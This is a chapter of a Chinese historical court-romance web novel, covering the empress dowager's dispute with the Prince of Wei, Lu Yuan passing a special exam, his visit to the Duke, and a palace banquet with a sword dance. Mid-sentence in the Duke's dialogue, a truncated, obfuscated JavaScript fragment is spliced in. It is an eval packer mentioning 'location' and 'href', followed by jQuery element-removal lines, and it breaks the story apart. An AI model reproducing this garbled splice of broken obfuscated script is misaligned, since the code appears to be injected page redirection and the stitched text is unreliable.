30. 第 30 章

    “可你呢,你对我能有半分的坦然吗?你从哪里知道的蚀心散?是陆垣?”


    “这些你不需要知道。”


    她脸上的冷漠和回避仿佛一柄利刃刺向了他,她身上的铠甲严实坚硬,扎不穿刺不破,可他仍是不死心:“你把我视作眼中钉,想让我毫无保留,可是你却不愿袒露分毫,这公平吗?”


    “魏王未免也太小看自己了,你连我的药方都能操控,还跟我谈公平?你倒是说说,什么是公平?”


    药方,她竟然知道!他想要辩解,却发现喉咙干涩,一个字都说不出来。


    “对不住。”他极力压下心头的颤动,耐心解释:“当时围场刚出了乱子,你又晕了过去,情形未定,我不想给你徒添烦扰。”


    褚云兮闻言,眸光闪了闪:“若是没有别的事,就退下吧。”


    他仍是不甘心:“这次特科,太后就那么相信陆垣能中?”


    “自然。”她笃定地说:“他在褚家三年,他什么样的才学,什么样的品行我一清二楚,我相信他。”


    “好。”他嘴角勉强挤出一丝笑,头也不回地走出流云殿,陆垣……陆垣……


    他会让她明白,到底谁才值得她信任。


    特科由礼部负责,崔宏坐镇,别看他平时乐呵呵的,对谁都是一副笑模样,俨然一个老好人,这次却极有原则,不少人登门都碰了软钉子。


    正德殿里,褚云兮拿到特科中选的名单,一眼就看见了陆垣的名字。


    “崔大人为人公正,本宫自是信得过的,诸位都看看,可有什么意见?”说罢,示意刘元拿下去给各人传阅。


    陵渊接过,只见为首赫然题着两个字“陆垣”,抬眸看向她,却见她朝自己扬了扬头,脸上挂着一丝若有似无的微笑。


    “本王没有意见。”他随手递给下位的孙耀。


    这份名单崔宏藏得严,各人事先都没看过,而且开特科,前来应举的三教九流什么人都有,达官显贵看不上这样的路子,褚祯明也就没放在心上,直到看到一个熟悉的名字。


    陆垣……如果自己没有记错,他好像是乐籍?


    他向褚云兮投以询问的目光,可她正偏过头与刘元说着什么,并未看向自己。


    “国公可是有什么疑虑?”崔宏见他一会儿低头沉思,一会儿抬头张望,便多问了一句。


    “没有,只是在上面看到了一个熟人。”


    “哦?”崔宏来了兴趣:“不知是哪位公子?”


    褚祯明嗤笑一声:“崔大人太抬举他了,不过是府里的琴师。”


    崔宏还欲再问什么,褚云兮蓦然开口:“既然诸位都没意见,那便张榜吧。”


    “是。”


    “本宫找钦天监算过,七日后四月初八是个吉日,我欲在俞林殿设宴以示庆贺,此次中选的人员都在应邀之列,不知诸位意下如何?”


    褚祯明皱起了眉:“我朝没有这样的先例,再说,不过是特科,这样未免过于隆重。”


    “本王觉得可行。”陵渊站起身来:“不管先前什么身份,既然入了公门,往后便是同僚,朝廷的恩泽当如雨露泽及万物。”


    崔宏又出来和稀泥:“先前确实未曾有过,不过今年改元,热闹热闹也好,自陛下登基以来宫里还没有办过宴会呢。”


    “那就这么定了。”褚云兮一锤定音:“刘公公,此事就交由你去操办。”


    议过事后,她从高台上下来,迤逦而行,众人躬身相送,褚祯明暗自抬起眼眸,她头戴凤冠,一身曳地长袍,轻盈、庄重,却与印象中的女儿,越来越远。


    陵渊、陆垣……他眼中升腾起丝丝凉意,她究竟瞒着自己做了多少事。


    国公府里,陆垣中选的消息不胫而走,府中的人口耳相传,纷纷挤到朱阳斋里看热闹。


    “恭喜陆先生……”


    “真是给咱们国公府长脸……”


    个个对他喜笑颜开,虽说这些年因着褚云兮的缘故,没有人敢对他不敬,但这么多热情的面孔,还是头一回见。他笑脸相迎,挨个儿道谢,说得口都干了。


    “都散了吧,散了吧。”管家大步走进来,作了个揖:“国公特意嘱咐我带缝人过来,给陆先生量体裁衣,几日后的俞林宴,定让先生风风光光地去!”


    “陆先生仪表堂堂,穿什么都好看!”堂下有人起哄,管家也乐呵呵地回:“说得是!不过陆先生这次身上系的,不止咱们国公府的颜面,还有太后的颜面。”


    “对对对,不能让太后失了面子!”众人又哄闹了一番,才渐渐离去。


    陆垣听从缝人的摆布,站直了伸展手臂,不时回答他对于自己穿衣习惯的询问,脑子却不由自主地想到褚祯明。他早料到会有这一遭,只是没想到来得这样快。


    不过管家这一趟倒是提醒了他,于情于理,他都应该主动去拜会,而且只能今日。


    “管家,国公可在府上?”


    “在书房呢,不过一会儿要出门赴宴,先生要是去呀,就趁这会儿。”


    “是,多谢了。”


    量好身形,选好料子,送走了管家和缝人,他来到了褚祯明的书房门口,整好衣服,敲了敲门。


    “进来。”一个陌生的声音传来,他缓缓推开门走了进去。


    “国公。”


    褚祯明从书案后抬起头来,看到他怔了片刻:“原来是陆先生,请坐。”


    他料定他方才没有认出自己,三年来,他虽吃住都在国公府,褚祯明却鲜少过问也从不召见,当他是个透明人一般,二人拢共也没见过几次。


    “先恭喜陆先生拔得头筹,说起来,陆先生在府里住了这么久,我竟不知先生有如此才学。今日见着名单,若不是太后提点,我竟不知陆垣就是府里的陆先生,实在是惭愧。”


    太后有没有提点他陆垣不知道,可他却听出了褚祯明话里的意思,还没坐稳便立马站了起来:“是草民不懂礼数,参加特科本应事先告知国公,只是想着小子才疏学浅,希望渺茫,不好让国公费心,这才……”


    “全是草民的不是,还望国公海涵。”


    “你看看,多心了不是?”褚祯明从案后绕过来,拍了拍他的肩:“我怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15178397|163868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会怪你,终归是从国公府走出去的,我开心还来不及。”


    “国公府的恩情,陆垣没齿难忘。”


    “你该谢的,是太后。整个国公府加起来,都没有太后为你操的心多。”


    陆垣知他话里有话,假意装作不明白:“国公说的是,如果当初没有太后的收留,陆垣早已流落街头,怕是殒命也未可知。”


    褚祯明直勾勾地盯着他,随后干笑了几声:“回去吧,往后好好做事效忠朝廷,自然能青云直上。”


    “多谢国公。”


    流云殿里,褚云兮起身准备去赴宴,陈嬷嬷为她整理裙摆,陈怡君立马挤到跟前,谄媚地接过:“我来陈嬷嬷,我来。”


    见她真的弯下身子摆弄起来,褚云兮出言打趣:“怎么,有求于我?”


    “瞧太后娘娘说的,您有什么好事都想着我,我就是侍执巾节,也是应该的。”


    她故意露出几分嫌弃:“这词是这么用的?”


    陈怡君附在她耳边小声说:“话本上都这么写的。”


    “走走走,要迟了。”


    “你不过去,谁敢开宴。”


    褚云兮看向她的目光带着一丝无奈:“你自个儿去镜子前照照,看看你现下这副嘴脸。”


    “太后又不是第一天知道我这样。”


    陈嬷嬷笑着催促:“再不动身,真要开宴了。”


    这样的宫宴褚云兮参加过许多回,但像今日这般坐在主位的,还是头一次。


    “灏儿,待会儿要说的词都记下了吗?”她搂过陵灏悄悄问。


    “姨母放心,灏儿都记下了。”


    随后群臣跪拜,陵灏念着贺词,上百个字,竟无一字遗漏,她顿时宽慰了不少。


    陆垣的座次离主位甚远,他隔空望着上面那个身影,她一身宫装雍容华贵,傲气逼人,不容亵渎。她入宫之后,他有幸见过几次,但多是在流云殿一身常服,这样的她,还是头一回。


    与三年前他在街头仰望的她,更是判若两人。


    对他的目光她仿佛有所察觉,视线穿过人群望向这边,举起酒杯点了下头,他如梦初醒,慌里慌张寻摸到杯盏,忙不迭地高高举起,却见她早已饮过放下。


    陵渊看到褚云兮的动作,顺着她的视线望过去,果然看见了他,手中的酒杯不自觉攥紧。


    宫中的歌舞优美绚丽,只是有些无聊,几曲过后,左右的人便攀谈起来。


    正当众人懈怠之时,一声战鼓拔地而起,再抬眼,只见一名士兵手执双剑,冲将上来,旁边的歌者开始低声吟唱,士兵舞动手里的长剑,剑随身转,身随剑动,看那身形,戎装之下,竟是一名女子!


    在场的人无不屏息凝视,褚云兮也看得呆了,女子动作轻盈却又充满力量,时而急促如战鼓,时而缓慢如流水,牢牢吸引着她的目光。


    陵渊见她看得专注,心头泛上一股酸意,自己真刀真枪,她视而不见,别人花拳绣腿,她倒看得有滋有味。


    一曲过后,曲罢舞停,女子利落地收起剑,将面具摘下,一张熟悉的面孔露了出来。